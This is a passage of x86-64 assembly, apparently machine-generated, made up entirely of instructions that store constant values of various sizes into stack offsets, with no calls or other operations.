mov dword [rsp + 0x4e78], 0xc088
mov dword [rsp + 0x4e7c], 0x6a8c
mov dword [rsp + 0x4e80], 0x1a81
mov eax, 0x33
mov word [rsp + 0x12f8], ax
mov dword [rsp + 0x4e84], 0x9196
mov eax, 0xc
mov word [rsp + 0x12fc], ax
movabs rax, 0x76aaa5f551e05c
mov qword [rsp + 0x9dd0], rax
movabs rax, 0x7de8eaafeda9ca
mov qword [rsp + 0x9dd8], rax
mov eax, 0x1de
mov word [rsp + 0x1300], ax
mov eax, 0x82
mov word [rsp + 0x1304], ax
movabs rax, 0x79dbc1bcc55383
mov qword [rsp + 0x9de0], rax
mov eax, 0x6c6
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x4e88], 0x2fc
mov byte [rsp + 0x1ec], 3
mov dword [rsp + 0x4e8c], 0x22aa
mov eax, 0x52
mov word [rsp + 0x130c], ax
mov dword [rsp + 0x4e90], 0x3b77
movabs rax, 0x76e2a1e5cb99ad
mov qword [rsp + 0x9de8], rax
mov eax, 0x194
mov word [rsp + 0x1310], ax
mov eax, 0x3e4
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x4e94], 0x1b2b
mov eax, 0xdd3
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x1ed], 0x14
mov dword [rsp + 0x4e98], 0x5f30
movabs rax, 0x713b3798d515b4
mov qword [rsp + 0x9df0], rax
mov eax, 0xb0b
mov word [rsp + 0x131c], ax
movabs rax, 0x764a8bf1585848
mov qword [rsp + 0x9df8], rax
mov byte [rsp + 0x1ee], 0x3d
mov eax, 0x373
mov word [rsp + 0x1320], ax
mov dword [rsp + 0x4e9c], 0x952d
movabs rax, 0x78c7ab5ed34a45
mov qword [rsp + 0x9e00], rax
mov dword [rsp + 0x4ea0], 0x6153
movabs rax, 0x777528f44797e7
mov qword [rsp + 0x9e08], rax
movabs rax, 0x78c4f4a038e9a0
mov qword [rsp + 0x9e10], rax
mov byte [rsp + 0x1ef], 0xc1
mov dword [rsp + 0x4ea4], 0x4b1
mov dword [rsp + 0x4ea8], 0x3320
movabs rax, 0x77489d7086e5f1
mov qword [rsp + 0x9e18], rax
mov byte [rsp + 0x1f0], 0x32
mov eax, 0x2e5
mov word [rsp + 0x1324], ax
movabs rax, 0x73666aef98380e
mov qword [rsp + 0x9e20], rax
mov dword [rsp + 0x4eac], 0xc49d
movabs rax, 0x7b6a984fd6c18d
mov qword [rsp + 0x9e28], rax
movabs rax, 0x797c4489516979
mov qword [rsp + 0x9e30], rax
mov dword [rsp + 0x4eb0], 0x78e5
mov eax, 0x109
mov word [rsp + 0x1328], ax
mov dword [rsp + 0x4eb4], 0x5c80
mov dword [rsp + 0x4eb8], 0xc187
mov byte [rsp + 0x1f1], 0x67
mov byte [rsp + 0x1f2], 0x2f
mov dword [rsp + 0x4ebc], 0x512
movabs rax, 0x736b7b8696403d
mov qword [rsp + 0x9e38], rax
mov dword [rsp + 0x4ec0], 0x910c
mov dword [rsp + 0x4ec4], 0x1a17
mov byte [rsp + 0x1f3], 0x56
mov dword [rsp + 0x4ec8], 0x5794
mov byte [rsp + 0x1f4], 0x32
mov byte [rsp + 0x1f5], 0x25
mov byte [rsp + 0x1f6], 0x37
movabs rax, 0x78f479ee4ced51
mov qword [rsp + 0x9e40], rax
movabs rax, 0x78d9b55c7724cf
mov qword [rsp + 0x9e48], rax
movabs rax, 0x76f8af7b37dd67
mov qword [rsp + 0x9e50], rax
mov byte [rsp + 0x1f7], 0xb
mov dword [rsp + 0x4ecc], 0x9b
mov dword [rsp + 0x4ed0], 0x3594
mov dword [rsp + 0x4ed4], 0x7405
mov eax, 0x302
mov word [rsp + 0x132c], ax
mov dword [rsp + 0x4ed8], 0x49e1
mov dword [rsp + 0x4edc], 0x7493
mov dword [rsp + 0x4ee0], 0x15fe
mov eax, 0x2a4
mov word [rsp + 0x1330], ax
mov byte [rsp + 0x1f8], 0x11
mov eax, 0x498
mov word [rsp + 0x1334], ax
mov byte [rsp + 0x1f9], 0x3f
mov eax, 0x24b
mov word [rsp + 0x1338], ax
movabs rax, 0x7bd074b328b01b
mov qword [rsp + 0x9e58], rax
mov eax, 0xd3a
mov word [rsp + 0x133c], ax
mov eax, 0xce4
mov word [rsp + 0x1340], ax
mov byte [rsp + 0x1fa], 0x37
mov byte [rsp + 0x1fb], 0x6b
mov eax, 0xa40
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x4ee4], 0xd7dd
movabs rax, 0x7264814726752e
mov qword [rsp + 0x9e60], rax
mov byte [rsp + 0x1fc], 0x3b
mov byte [rsp + 0x1fd], 0x76
mov byte [rsp + 0x1fe], 0xad
mov eax, 0x40a
mov word [rsp + 0x1348], ax
mov dword [rsp + 0x4ee8], 0x76b2
mov eax, 0x44a
mov word [rsp + 0x134c], ax
movabs rax, 0x758553cb4d5b9a
mov qword [rsp + 0x9e68], rax
mov dword [rsp + 0x4eec], 0x78e1
mov eax, 0x99e
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x4ef0], 0x3452
mov eax, 0x375
mov word [rsp + 0x1354], ax
movabs rax, 0x7be81a4ca98aed
mov qword [rsp + 0x9e70], rax
mov dword [rsp + 0x4ef4], 0x7df9
movabs rax, 0x7169c2c8a9fcd1
mov qword [rsp + 0x9e78], rax
movabs rax, 0x7a0ce21ea71833
mov qword [rsp + 0x9e80], rax
mov byte [rsp + 0x1ff], 0x9f
mov eax, 0xe8
mov word [rsp + 0x1358], ax
mov dword [rsp + 0x4ef8], 0xe24a
mov byte [rsp + 0x200], 0x46
mov eax, 0x952
mov word [rsp + 0x135c], ax
movabs rax, 0x71c39b265574d7
mov qword [rsp + 0x9e88], rax
mov byte [rsp + 0x201], 0xe9
movabs rax, 0x7709e16a5b4990
mov qword [rsp + 0x9e90], rax
mov byte [rsp + 0x202], 0x7a
mov eax, 0x609
mov word [rsp + 0x1360], ax
movabs rax, 0x762ed1ab955f1a
mov qword [rsp + 0x9e98], rax
movabs rax, 0x7e7be893d621d3
mov qword [rsp + 0x9ea0], rax
mov dword [rsp + 0x4efc], 0x4511
mov byte [rsp + 0x203], 0xbf
movabs rax, 0x7a77461c4bb907
mov qword [rsp + 0x9ea8], rax
mov dword [rsp + 0x4f00], 0xa42f
movabs rax, 0x7d8aa8a3da67d2
mov qword [rsp + 0x9eb0], rax
movabs rax, 0x7bba74f63a7028
mov qword [rsp + 0x9eb8], rax
mov dword [rsp + 0x4f04], 0x6824
movabs rax, 0x7640a60e6d9d71
mov qword [rsp + 0x9ec0], rax
mov dword [rsp + 0x4f08], 0x866c
mov byte [rsp + 0x204], 0x18
mov dword [rsp + 0x4f0c], 0x229b
mov dword [rsp + 0x4f10], 0x566f
mov dword [rsp + 0x4f14], 0x6e8
mov eax, 0x2ac
mov word [rsp + 0x1364], ax
mov byte [rsp + 0x205], 0x14
movabs rax, 0x77816344a1a92d
mov qword [rsp + 0x9ec8], rax
movabs rax, 0x78420e251c1cbf
mov qword [rsp + 0x9ed0], rax
mov dword [rsp + 0x4f18], 0x486b
mov dword [rsp + 0x4f1c], 0x67
mov dword [rsp + 0x4f20], 0xe82
mov dword [rsp + 0x4f24], 0x8b4
mov dword [rsp + 0x4f28], 0x56eb
mov eax, 0x4fe
mov word [rsp + 0x1368], ax
mov dword [rsp + 0x4f2c], 0x3ecc
movabs rax, 0x7e143deff77e5b
mov qword [rsp + 0x9ed8], rax
mov byte [rsp + 0x206], 0x2e
mov eax, 0xdd0
mov word [rsp + 0x136c], ax
mov dword [rsp + 0x4f30], 0x66f6
mov dword [rsp + 0x4f34], 0x3121
mov dword [rsp + 0x4f38], 0x32c8
mov dword [rsp + 0x4f3c], 0x4512
mov dword [rsp + 0x4f40], 0x6a9f
movabs rax, 0x73f21cc6b445c1
mov qword [rsp + 0x9ee0], rax
movabs rax, 0x78062b3508c94a
mov qword [rsp + 0x9ee8], rax
mov dword [rsp + 0x4f44], 0x6103
movabs rax, 0x72c5e60dade90c
mov qword [rsp + 0x9ef0], rax
movabs rax, 0x728d584d17a11c
mov qword [rsp + 0x9ef8], rax
mov eax, 0xc2
mov word [rsp + 0x1370], ax
mov eax, 0x193
mov word [rsp + 0x1374], ax
movabs rax, 0x70d632befe639c
mov qword [rsp + 0x9f00], rax
mov dword [rsp + 0x4f48], 0x6d30
mov eax, 0x763
mov word [rsp + 0x1378], ax
mov dword [rsp + 0x4f4c], 0x841
mov dword [rsp + 0x4f50], 0x80b2
mov byte [rsp + 0x207], 0x7d
mov eax, 0x5e6
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x4f54], 0x7066
mov dword [rsp + 0x4f58], 0x1305
mov dword [rsp + 0x4f5c], 0x3962
mov eax, 0x751
mov word [rsp + 0x1380], ax
mov dword [rsp + 0x4f60], 0x4a9d
mov eax, 0xf5e
mov word [rsp + 0x1384], ax
mov eax, 0x9d9
mov word [rsp + 0x1388], ax
movabs rax, 0x7249d86f05939a
mov qword [rsp + 0x9f08], rax
mov byte [rsp + 0x208], 0x6f
mov byte [rsp + 0x209], 0xd8
movabs rax, 0x7c580a0fffb0ea
mov qword [rsp + 0x9f10], rax
mov dword [rsp + 0x4f64], 0x1dbe
mov dword [rsp + 0x4f68], 0x4f9c
mov dword [rsp + 0x4f6c], 0xfa25
movabs rax, 0x77f0de8f264d77
mov qword [rsp + 0x9f18], rax
mov dword [rsp + 0x4f70], 0x3a0b
mov dword [rsp + 0x4f74], 0x765b
mov eax, 0x2e5
mov word [rsp + 0x138c], ax
mov byte [rsp + 0x20a], 0x12
mov eax, 0x539
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x4f78], 0x7e32
movabs rax, 0x7477ef4086e2e9
mov qword [rsp + 0x9f20], rax
movabs rax, 0x78ce0ef265a216
mov qword [rsp + 0x9f28], rax
mov byte [rsp + 0x20b], 0x8a
movabs rax, 0x7b5a083619ddc6
mov qword [rsp + 0x9f30], rax
mov eax, 0xe71
mov word [rsp + 0x1394], ax
mov eax, 0x5d4
mov word [rsp + 0x1398], ax
mov eax, 0x2c8
mov word [rsp + 0x139c], ax
movabs rax, 0x7e104ddecf2b89
mov qword [rsp + 0x9f38], rax
mov eax, 0x399
mov word [rsp + 0x13a0], ax
mov byte [rsp + 0x20c], 0x67
mov eax, 0x525
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x4f7c], 0x434
mov eax, 0xa83
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x4f80], 0xe913
mov dword [rsp + 0x4f84], 0x70b3
mov eax, 0xb38
mov word [rsp + 0x13ac], ax
mov dword [rsp + 0x4f88], 0x4d8e
movabs rax, 0x780e40f5de1965
mov qword [rsp + 0x9f40], rax
mov dword [rsp + 0x4f8c], 0x74f9
mov dword [rsp + 0x4f90], 0x4908
movabs rax, 0x7b3318851c8eb4
mov qword [rsp + 0x9f48], rax
mov eax, 0xf22
mov word [rsp + 0x13b0], ax
mov eax, 0xb99
mov word [rsp + 0x13b4], ax
mov dword [rsp + 0x4f94], 0xf61
movabs rax, 0x74a241c4078f70
mov qword [rsp + 0x9f50], rax
mov eax, 0x698
mov word [rsp + 0x13b8], ax
mov dword [rsp + 0x4f98], 0x5c51
mov eax, 0xd5b
mov word [rsp + 0x13bc], ax
movabs rax, 0x77e4089bfecf0b
mov qword [rsp + 0x9f58], rax
mov eax, 0x853
mov word [rsp + 0x13c0], ax
movabs rax, 0x755bc6ecaedd1c
mov qword [rsp + 0x9f60], rax
movabs rax, 0x7382d9e9fd69a6
mov qword [rsp + 0x9f68], rax
mov dword [rsp + 0x4f9c], 0xb69a
mov eax, 0x50f
mov word [rsp + 0x13c4], ax
mov byte [rsp + 0x20d], 0xe9
movabs rax, 0x77e9adc4be18b5
mov qword [rsp + 0x9f70], rax
mov byte [rsp + 0x20e], 0x31
mov byte [rsp + 0x20f], 0xe
mov eax, 0x9df
mov word [rsp + 0x13c8], ax
mov dword [rsp + 0x4fa0], 0x124
mov eax, 0x3df
mov word [rsp + 0x13cc], ax
movabs rax, 0x721371c467fc7b
mov qword [rsp + 0x9f78], rax
mov dword [rsp + 0x4fa4], 0x96a
movabs rax, 0x711352963fcde7
mov qword [rsp + 0x9f80], rax
mov byte [rsp + 0x210], 0x48
mov eax, 0x3e
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x211], 0xe
mov dword [rsp + 0x4fa8], 0x204d
mov eax, 0x674
mov word [rsp + 0x13d4], ax
movabs rax, 0x73d01f9bfcdc09
mov qword [rsp + 0x9f88], rax
movabs rax, 0x7a1dbf9a830e31
mov qword [rsp + 0x9f90], rax
movabs rax, 0x74d46a1cc419c9
mov qword [rsp + 0x9f98], rax
movabs rax, 0x704d6a573bc8df
mov qword [rsp + 0x9fa0], rax
movabs rax, 0x7b9f4877a63090
mov qword [rsp + 0x9fa8], rax
mov dword [rsp + 0x4fac], 0x6d7f
movabs rax, 0x7b763188bee9a0
mov qword [rsp + 0x9fb0], rax
mov dword [rsp + 0x4fb0], 0x8fe4
mov dword [rsp + 0x4fb4], 0xec88
mov eax, 0x4a8
mov word [rsp + 0x13d8], ax
mov byte [rsp + 0x212], 0x57
mov eax, 0x26b
mov word [rsp + 0x13dc], ax
mov dword [rsp + 0x4fb8], 0x3814
mov dword [rsp + 0x4fbc], 0x52c4
mov eax, 0x89f
mov word [rsp + 0x13e0], ax
mov dword [rsp + 0x4fc0], 0x2470
movabs rax, 0x72352a798337dd
mov qword [rsp + 0x9fb8], rax
movabs rax, 0x7a6c4b625ca9c4
mov qword [rsp + 0x9fc0], rax
mov eax, 0xf4f
mov word [rsp + 0x13e4], ax
movabs rax, 0x7cca37eb663296
mov qword [rsp + 0x9fc8], rax
mov byte [rsp + 0x213], 0xa0
movabs rax, 0x74cfdb7f473fe9
mov qword [rsp + 0x9fd0], rax
mov byte [rsp + 0x214], 0x9e
mov eax, 0xa6b
mov word [rsp + 0x13e8], ax
mov byte [rsp + 0x215], 0xba
mov byte [rsp + 0x216], 0x69
mov dword [rsp + 0x4fc4], 0x48bf
mov eax, 0xa6
mov word [rsp + 0x13ec], ax
movabs rax, 0x770c42b83637de
mov qword [rsp + 0x9fd8], rax
mov dword [rsp + 0x4fc8], 0xc096
movabs rax, 0x70a24de04ccf42
mov qword [rsp + 0x9fe0], rax
movabs rax, 0x7871bb32bfa6d2
mov qword [rsp + 0x9fe8], rax
mov eax, 0xfb
mov word [rsp + 0x13f0], ax
movabs rax, 0x709a42a456e0ef
mov qword [rsp + 0x9ff0], rax
movabs rax, 0x7dc7c2d013bf1c
mov qword [rsp + 0x9ff8], rax
movabs rax, 0x74f5b02a0a0ca2
mov qword [rsp + 0xa000], rax
movabs rax, 0x7eaea603356f3b
mov qword [rsp + 0xa008], rax
mov eax, 0x6f0
mov word [rsp + 0x13f4], ax
mov byte [rsp + 0x217], 0x93
mov dword [rsp + 0x4fcc], 0x45ac
mov dword [rsp + 0x4fd0], 0x70f3
mov eax, 0x198
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x4fd4], 0x9fc1
movabs rax, 0x74e1877bf46e56
mov qword [rsp + 0xa010], rax
mov eax, 0x2a7
mov word [rsp + 0x13fc], ax
movabs rax, 0x7762919256fd38
mov qword [rsp + 0xa018], rax
mov byte [rsp + 0x218], 9
mov byte [rsp + 0x219], 0x65
movabs rax, 0x712158995b7ea2
mov qword [rsp + 0xa020], rax
mov eax, 0x7bb
mov word [rsp + 0x1400], ax
mov dword [rsp + 0x4fd8], 0xb1c4
mov eax, 0x7b
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x4fdc], 0xa046
mov dword [rsp + 0x4fe0], 0x33e4
mov eax, 0xd7e
mov word [rsp + 0x1408], ax
mov byte [rsp + 0x21a], 0x9c
mov byte [rsp + 0x21b], 0x2d
mov byte [rsp + 0x21c], 0x2a
mov eax, 0x66a
mov word [rsp + 0x140c], ax
mov eax, 0xb15
mov word [rsp + 0x1410], ax
mov eax, 0x2f4
mov word [rsp + 0x1414], ax
mov eax, 0x367
mov word [rsp + 0x1418], ax
mov dword [rsp + 0x4fe4], 0x7468
movabs rax, 0x72766b3f04e8e1
mov qword [rsp + 0xa028], rax
mov eax, 0xf5a
mov word [rsp + 0x141c], ax
mov dword [rsp + 0x4fe8], 0xece
movabs rax, 0x7ba9d2544ea2d5
mov qword [rsp + 0xa030], rax
movabs rax, 0x7e2d7cc457fdd7
mov qword [rsp + 0xa038], rax
mov dword [rsp + 0x4fec], 0x7871
mov dword [rsp + 0x4ff0], 0x5efc
mov dword [rsp + 0x4ff4], 0x9f8b
mov dword [rsp + 0x4ff8], 0x45ef
mov byte [rsp + 0x21d], 0x5d
mov dword [rsp + 0x4ffc], 0xc5a7
movabs rax, 0x76a639d55f29de
mov qword [rsp + 0xa040], rax
mov byte [rsp + 0x21e], 0x8c
movabs rax, 0x75a043309bc520
mov qword [rsp + 0xa048], rax
mov byte [rsp + 0x21f], 0x2b
movabs rax, 0x7ef8a734c3ca42
mov qword [rsp + 0xa050], rax
movabs rax, 0x79430414ea60d3
mov qword [rsp + 0xa058], rax
movabs rax, 0x7afa82e495b44c
mov qword [rsp + 0xa060], rax
movabs rax, 0x7c6522e6814d24
mov qword [rsp + 0xa068], rax
mov dword [rsp + 0x5000], 0xb8d6
mov byte [rsp + 0x220], 5
mov eax, 0x7a9
mov word [rsp + 0x1420], ax
movabs rax, 0x7a3947db92d69c
mov qword [rsp + 0xa070], rax
mov byte [rsp + 0x221], 1
movabs rax, 0x7676abe82db855
mov qword [rsp + 0xa078], rax
mov eax, 0x851
mov word [rsp + 0x1424], ax
mov eax, 0x240
mov word [rsp + 0x1428], ax
mov dword [rsp + 0x5004], 0x52e2
mov byte [rsp + 0x222], 0x27
mov byte [rsp + 0x223], 0x40
mov byte [rsp + 0x224], 0xeb
mov dword [rsp + 0x5008], 0xaf37
mov dword [rsp + 0x500c], 0x15e4
movabs rax, 0x7d2b17315456e0
mov qword [rsp + 0xa080], rax
mov byte [rsp + 0x225], 0x80
mov eax, 0x16d
mov word [rsp + 0x142c], ax
movabs rax, 0x73546cefc15efe
mov qword [rsp + 0xa088], rax
mov byte [rsp + 0x226], 0x73
mov dword [rsp + 0x5010], 0xdec
movabs rax, 0x73147e8da907db
mov qword [rsp + 0xa090], rax
movabs rax, 0x782d2962b6467f
mov qword [rsp + 0xa098], rax
mov dword [rsp + 0x5014], 0x7a39
movabs rax, 0x730c44b9cff2b5
mov qword [rsp + 0xa0a0], rax
mov byte [rsp + 0x227], 0x27
mov dword [rsp + 0x5018], 0x5d40
mov byte [rsp + 0x228], 0x6c
movabs rax, 0x7a353817e8d0cd
mov qword [rsp + 0xa0a8], rax
mov eax, 0x185
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x501c], 0x44ff
movabs rax, 0x74fdbedef74e95
mov qword [rsp + 0xa0b0], rax
mov dword [rsp + 0x5020], 0xc898
mov dword [rsp + 0x5024], 0x30d2
mov eax, 0x589
mov word [rsp + 0x1434], ax
mov eax, 0x70a
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x5028], 0x213
mov dword [rsp + 0x502c], 0x7ab0
mov eax, 0x4ca
mov word [rsp + 0x143c], ax
movabs rax, 0x7e704157b0c966
mov qword [rsp + 0xa0b8], rax
movabs rax, 0x74a21b2a5fb025
mov qword [rsp + 0xa0c0], rax
mov dword [rsp + 0x5030], 0x7f96
mov dword [rsp + 0x5034], 0x24c7
movabs rax, 0x7b48c33132aa90
mov qword [rsp + 0xa0c8], rax
mov dword [rsp + 0x5038], 0x10cc
movabs rax, 0x72aaa1289e81bb
mov qword [rsp + 0xa0d0], rax
mov eax, 0xd40
mov word [rsp + 0x1440], ax
mov dword [rsp + 0x503c], 0x1a83
mov eax, 0x138
mov word [rsp + 0x1444], ax
mov eax, 0xd7f
mov word [rsp + 0x1448], ax
mov byte [rsp + 0x229], 0x59
mov eax, 0x43e
mov word [rsp + 0x144c], ax
movabs rax, 0x7313c57e0179ce
mov qword [rsp + 0xa0d8], rax
movabs rax, 0x7589c310270220
mov qword [rsp + 0xa0e0], rax
movabs rax, 0x7ccb3ddd5300f8
mov qword [rsp + 0xa0e8], rax
mov eax, 0x437
mov word [rsp + 0x1450], ax
mov byte [rsp + 0x22a], 0x19
movabs rax, 0x7853b5fadeebd0
mov qword [rsp + 0xa0f0], rax
mov dword [rsp + 0x5040], 0x2f18
mov eax, 0x40f
mov word [rsp + 0x1454], ax
mov dword [rsp + 0x5044], 0x323e
movabs rax, 0x719db566242dd8
mov qword [rsp + 0xa0f8], rax
mov byte [rsp + 0x22b], 0x42
movabs rax, 0x7afa94930d3554
mov qword [rsp + 0xa100], rax
mov dword [rsp + 0x5048], 0x5a9c
movabs rax, 0x72123b190f846f
mov qword [rsp + 0xa108], rax
mov eax, 0x270
mov word [rsp + 0x1458], ax
movabs rax, 0x71c05207e6ff29
mov qword [rsp + 0xa110], rax
mov dword [rsp + 0x504c], 0x5861
movabs rax, 0x7c3cf2b6788e73
mov qword [rsp + 0xa118], rax
mov eax, 0x5dd
mov word [rsp + 0x145c], ax
movabs rax, 0x7d4d6c8f31c5e7
mov qword [rsp + 0xa120], rax
mov eax, 0x27e
mov word [rsp + 0x1460], ax
movabs rax, 0x7bf217fa1e8aab
mov qword [rsp + 0xa128], rax
movabs rax, 0x75fd6e582da144
mov qword [rsp + 0xa130], rax
mov eax, 0x9fc
mov word [rsp + 0x1464], ax
movabs rax, 0x728d4a47f31692
mov qword [rsp + 0xa138], rax
movabs rax, 0x7bdf2eb5b65d59
mov qword [rsp + 0xa140], rax
mov byte [rsp + 0x22c], 1
mov eax, 0x49c
mov word [rsp + 0x1468], ax
movabs rax, 0x79b54c4e4ca9f9
mov qword [rsp + 0xa148], rax
mov byte [rsp + 0x22d], 0x37
mov eax, 0x368
mov word [rsp + 0x146c], ax
mov dword [rsp + 0x5050], 0x9ae7
mov eax, 0xbc
mov word [rsp + 0x1470], ax
mov dword [rsp + 0x5054], 0x2c40
mov dword [rsp + 0x5058], 0x5f98
mov dword [rsp + 0x505c], 0xfb0c
mov dword [rsp + 0x5060], 0x76a3
movabs rax, 0x78c0e27a8badd4
mov qword [rsp + 0xa150], rax
mov dword [rsp + 0x5064], 0x392f
mov eax, 0xd3f
mov word [rsp + 0x1474], ax
mov byte [rsp + 0x22e], 0xa4
movabs rax, 0x76d2166922bdcb
mov qword [rsp + 0xa158], rax
movabs rax, 0x756fd00a116cb7
mov qword [rsp + 0xa160], rax
mov eax, 0xf17
mov word [rsp + 0x1478], ax
mov byte [rsp + 0x22f], 0x64
movabs rax, 0x71fe5f2d0bbcca
mov qword [rsp + 0xa168], rax
movabs rax, 0x7c8c4cd8690fac
mov qword [rsp + 0xa170], rax
movabs rax, 0x7e2c2f858c8169
mov qword [rsp + 0xa178], rax
movabs rax, 0x78a49122101902
mov qword [rsp + 0xa180], rax
mov eax, 0xd26
mov word [rsp + 0x147c], ax
mov byte [rsp + 0x230], 0x46
movabs rax, 0x72556152103438
mov qword [rsp + 0xa188], rax
mov byte [rsp + 0x231], 3
movabs rax, 0x735c44276b2132
mov qword [rsp + 0xa190], rax
mov dword [rsp + 0x5068], 0x21ca
mov dword [rsp + 0x506c], 0xe902
movabs rax, 0x7eef0db23d6892
mov qword [rsp + 0xa198], rax
movabs rax, 0x72ea407d473a3b
mov qword [rsp + 0xa1a0], rax
mov eax, 0xbe5
mov word [rsp + 0x1480], ax
mov eax, 0x3f2
mov word [rsp + 0x1484], ax
mov eax, 0x674
mov word [rsp + 0x1488], ax
mov byte [rsp + 0x232], 0x44
mov eax, 0x629
mov word [rsp + 0x148c], ax
mov dword [rsp + 0x5070], 0xc66
mov eax, 0x723
mov word [rsp + 0x1490], ax
movabs rax, 0x7a3f44e74b4d57
mov qword [rsp + 0xa1a8], rax
mov eax, 0xe14
mov word [rsp + 0x1494], ax
mov byte [rsp + 0x233], 0x12
mov eax, 0x645
mov word [rsp + 0x1498], ax
movabs rax, 0x7b28d528c64e02
mov qword [rsp + 0xa1b0], rax
movabs rax, 0x747bffad2bc8ba
mov qword [rsp + 0xa1b8], rax
mov eax, 0xfc0
mov word [rsp + 0x149c], ax
movabs rax, 0x72fb418aa9825d
mov qword [rsp + 0xa1c0], rax
movabs rax, 0x760585220d907c
mov qword [rsp + 0xa1c8], rax
movabs rax, 0x7e58c8f9e71608
mov qword [rsp + 0xa1d0], rax
movabs rax, 0x7307c8bf54b9ab
mov qword [rsp + 0xa1d8], rax
movabs rax, 0x76f4ee0596f462
mov qword [rsp + 0xa1e0], rax
movabs rax, 0x716c062b207a46
mov qword [rsp + 0xa1e8], rax
movabs rax, 0x75ad148505c7e6
mov qword [rsp + 0xa1f0], rax
mov dword [rsp + 0x5074], 0xac39
mov eax, 0x339
mov word [rsp + 0x14a0], ax
mov eax, 0x377
mov word [rsp + 0x14a4], ax
mov dword [rsp + 0x5078], 0xaac8
movabs rax, 0x79dc176babcd19
mov qword [rsp + 0xa1f8], rax
movabs rax, 0x785c9c9570f271
mov qword [rsp + 0xa200], rax
mov eax, 0x2e2
mov word [rsp + 0x14a8], ax
mov eax, 0x68d
mov word [rsp + 0x14ac], ax
movabs rax, 0x7e10fed10dee4e
mov qword [rsp + 0xa208], rax
movabs rax, 0x79a5318fd210b0
mov qword [rsp + 0xa210], rax
mov dword [rsp + 0x507c], 0x1b57
mov dword [rsp + 0x5080], 0x4c81
mov eax, 0x433
mov word [rsp + 0x14b0], ax
mov byte [rsp + 0x234], 0x3a
movabs rax, 0x7113d0b3ee8314
mov qword [rsp + 0xa218], rax
movabs rax, 0x7265be208b8805
mov qword [rsp + 0xa220], rax
mov byte [rsp + 0x235], 0x3e
movabs rax, 0x7bd18751429ffa
mov qword [rsp + 0xa228], rax
mov dword [rsp + 0x5084], 0x46a4
mov eax, 0xd43
mov word [rsp + 0x14b4], ax
mov eax, 0x6f0
mov word [rsp + 0x14b8], ax
mov dword [rsp + 0x5088], 0x41c3
movabs rax, 0x772af3346c3cbe
mov qword [rsp + 0xa230], rax
mov eax, 0x43c
mov word [rsp + 0x14bc], ax
movabs rax, 0x753ca550b91318
mov qword [rsp + 0xa238], rax
movabs rax, 0x730972ca3658ea
mov qword [rsp + 0xa240], rax
mov byte [rsp + 0x236], 0xa2
mov eax, 0x280
mov word [rsp + 0x14c0], ax
movabs rax, 0x7084bebd44ee1a
mov qword [rsp + 0xa248], rax
mov dword [rsp + 0x508c], 0x1cd1
mov dword [rsp + 0x5090], 0xc902
mov eax, 0x2d8
mov word [rsp + 0x14c4], ax
movabs rax, 0x715077c7981b68
mov qword [rsp + 0xa250], rax
mov byte [rsp + 0x237], 0x28
mov dword [rsp + 0x5094], 0x8e56
movabs rax, 0x796198a33fcde0
mov qword [rsp + 0xa258], rax
mov eax, 0x679
mov word [rsp + 0x14c8], ax
mov dword [rsp + 0x5098], 0x8d26
movabs rax, 0x741a0581665fd8
mov qword [rsp + 0xa260], rax
movabs rax, 0x70a0670df41116
mov qword [rsp + 0xa268], rax
mov eax, 0x595
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x509c], 0x4100
mov dword [rsp + 0x50a0], 0x2129
mov eax, 0x7dc
mov word [rsp + 0x14d0], ax
movabs rax, 0x7ece796e6a046e
mov qword [rsp + 0xa270], rax
mov eax, 0x926
mov word [rsp + 0x14d4], ax
mov dword [rsp + 0x50a4], 0x100a
mov eax, 0x70c
mov word [rsp + 0x14d8], ax
movabs rax, 0x7dd07c965cbec4
mov qword [rsp + 0xa278], rax
mov dword [rsp + 0x50a8], 0x51d6
mov eax, 0x6dd
mov word [rsp + 0x14dc], ax
mov byte [rsp + 0x238], 0xc6
mov dword [rsp + 0x50ac], 0x5942
mov byte [rsp + 0x239], 0x4c
mov eax, 0x86b
mov word [rsp + 0x14e0], ax
mov eax, 0x758
mov word [rsp + 0x14e4], ax
movabs rax, 0x7dccbe57755889
mov qword [rsp + 0xa280], rax
movabs rax, 0x7098d975159bfc
mov qword [rsp + 0xa288], rax
mov byte [rsp + 0x23a], 0x23
mov byte [rsp + 0x23b], 0xe8
mov eax, 0x79a
mov word [rsp + 0x14e8], ax
mov dword [rsp + 0x50b0], 0x34e5
mov byte [rsp + 0x23c], 0x99
mov dword [rsp + 0x50b4], 0x1979
mov eax, 0x7db
mov word [rsp + 0x14ec], ax
mov byte [rsp + 0x23d], 0x12
movabs rax, 0x7981704bdf9857
mov qword [rsp + 0xa290], rax
movabs rax, 0x7b523d90f49bd4
mov qword [rsp + 0xa298], rax
mov byte [rsp + 0x23e], 0xe9
movabs rax, 0x7bf7e52a7f715a
mov qword [rsp + 0xa2a0], rax
movabs rax, 0x72ba73b2a5173f
mov qword [rsp + 0xa2a8], rax
movabs rax, 0x7c11e28d487f71
mov qword [rsp + 0xa2b0], rax
movabs rax, 0x79d3c4990a92d6
mov qword [rsp + 0xa2b8], rax
mov eax, 0x652
mov word [rsp + 0x14f0], ax
mov byte [rsp + 0x23f], 0x12
movabs rax, 0x75ee488235f505
mov qword [rsp + 0xa2c0], rax
movabs rax, 0x7b87eef4c43079
mov qword [rsp + 0xa2c8], rax
movabs rax, 0x78d74a903e7bd7
mov qword [rsp + 0xa2d0], rax
movabs rax, 0x74840485931737
mov qword [rsp + 0xa2d8], rax
mov eax, 0xba7
mov word [rsp + 0x14f4], ax
mov eax, 0x2ae
mov word [rsp + 0x14f8], ax
movabs rax, 0x75801d08c0f188
mov qword [rsp + 0xa2e0], rax
mov byte [rsp + 0x240], 0x39
movabs rax, 0x7c9f5697115948
mov qword [rsp + 0xa2e8], rax
mov dword [rsp + 0x50b8], 0x7378
mov eax, 0x9a
mov word [rsp + 0x14fc], ax
movabs rax, 0x739cc2eee9ecde
mov qword [rsp + 0xa2f0], rax
